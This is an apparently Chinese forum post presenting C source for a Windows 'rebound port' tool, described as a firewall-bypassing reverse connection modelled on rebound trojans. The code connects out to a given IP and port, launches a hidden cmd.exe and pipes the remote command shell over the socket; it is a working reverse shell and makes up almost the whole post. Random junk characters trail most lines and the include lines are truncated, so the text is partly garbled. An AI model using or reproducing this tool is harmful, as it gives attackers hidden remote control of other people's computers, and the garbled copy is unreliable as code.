这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *Z=K9y,IC
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/* ============================== 8
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Rebound port in Windows NT pS
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By wind,2006/7
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===============================*/ OwrzD~
#include KFBo1^9N
#include (Vglcj
mmm025.
#pragma comment(lib,"wsock32.lib") ,p/iN9+Z
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void OutputShell(); /j!?qID
SOCKET sClient; KK`P<^8J
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Er?Wg 09
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void main(int argc,char **argv) CZv.$H"lW
{ ]L4B
WSADATA stWsaData; g?!vRid@S
int nRet; #Yi,EwD
SOCKADDR_IN stSaiClient,stSaiServer; "BZ6G`
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if(argc != 3) w1EYXe
{ S P)$K=
printf("Useage:\n\rRebound DestIP DestPort\n"); $:w4_X5T
return; S/& _
} 0f/=C9L
ma>{((N
WSAStartup(MAKEWORD(2,2),&stWsaData); a02;Zl
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v:(_-8:F
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stSaiClient.sin_family = AF_INET; 703=.xj
stSaiClient.sin_port = htons(0); i /R8Gb
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); O`U&0lKi'
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) M0DdrL/
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{ utKtxLX"
printf("Bind Socket Failed!\n"); 'x
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return; ZurQr}
} 4]RGLN
}Og zSnR
stSaiServer.sin_family = AF_INET; IF%^HK@
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3 <RkUmR
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *;. l/
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Gd1%6}<~
{ s2L|J[Y"s
printf("Connect Error!"); 'h_PJ%
return; g2.%x \d
} 7!.%HhU0
OutputShell(); 7$'%*|C.
} $w`QQ^\
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void OutputShell() NJSzOL_
{ sF^3KJ|
char szBuff[1024]; /~V.qisZ
SECURITY_ATTRIBUTES stSecurityAttributes; <@ D`16%&
OSVERSIONINFO stOsversionInfo; 'm9f:iTr
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c%c/mata?
STARTUPINFO stStartupInfo; (-DA%
char *szShell; ?#ue:O1
PROCESS_INFORMATION stProcessInformation; +lmMBjDa
unsigned long lBytesRead; He="S3XON
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); V*xT5TljS-
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [4sI<aH
stSecurityAttributes.lpSecurityDescriptor = 0; ~,KAJ7O_
stSecurityAttributes.bInheritHandle = TRUE; EU.vw0}u8
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8v"tOa4D7
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _XIls*6AK
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); V`?2g_4N
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z{RRhJ
stStartupInfo.wShowWindow = SW_HIDE; 5OP$n]|(
stStartupInfo.hStdInput = hReadPipe; gBz$RfyF
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Ac!,#Fq
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GetVersionEx(&stOsversionInfo); rMAH YH9
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switch(stOsversionInfo.dwPlatformId) 3UgusH3
{ ]uO 8
case 1: | iEhe
szShell = "command.com"; Yf
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break; :#v8K;C
default: '{WYho!
szShell = "cmd.exe"; FU/yJy
break; ",	
} Va,M9)F
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Bi2be$nV
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send(sClient,szMsg,77,0); sL|lfc'bB
while(1) wP3_RA]z
{ Tyt:Abym=
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); BUB#\v#a
if(lBytesRead) eSf
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s
{ q/-8sO}q
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }7YDe'5V
send(sClient,szBuff,lBytesRead,0); z:<mgp&/<
} [q]"_4L0;d
else !U.Xb6
{ 6T{Zee
lBytesRead=recv(sClient,szBuff,1024,0); ?n)r1m
if(lBytesRead<=0) break; rBLkowDP*
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `"QUA G
} ;V]EF
} bUbM }
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return; V !G&Aen
}